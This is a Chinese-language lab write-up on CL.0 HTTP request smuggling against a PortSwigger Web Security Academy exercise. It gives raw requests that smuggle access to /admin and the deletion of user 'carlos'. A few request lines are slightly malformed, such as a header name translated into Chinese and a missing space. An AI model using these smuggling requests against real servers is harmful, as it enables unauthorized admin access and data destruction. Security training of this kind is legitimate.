> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/cl-0-request-smuggling.md).
# CL.0 请求走私
CL.0 请求走私笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 0.CL 请求走私
#### **实验总结**
在这个场景中， **CL.0** 漏洞被利用，其中后端服务器\*\*会忽略 Content-Length\*\* 标头，在某些路径下如此。这种不一致使得可以在看似正常的 POST 请求体中注入第二个请求。
#### **易受攻击点的识别**
经过几次测试，我们发现该 URL：
```
/resources/images/blog.svg
```
被后端以不同方式处理：/ 即使 Content-Length 设为 0，服务器仍会接收到 **所有提供的内容**，从而为基于 CL.0 的走私创造了绝佳机会。
#### **注入隐藏请求**
首先发送一个最小的 POST 请求以确认该行为：
```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 0
```
接下来，我们利用后端尽管如此仍会读取其内容这一事实 **走私第二个请求**，旨在进入管理员面板：
```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26
GET /admin HTTP/1.1
测试：A
```
后端将注入的部分解释为独立请求，并使我们能够绕过前端限制。
#### **删除 Carlos 用户**
一旦确认可以访问管理面板，就会注入类似的请求来触发该操作：
```http
/admin/delete?username=carlos
```
这会得到：
```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26
GET /admin/delete?username=carlosHTTP/1.1
测试：A
```
---
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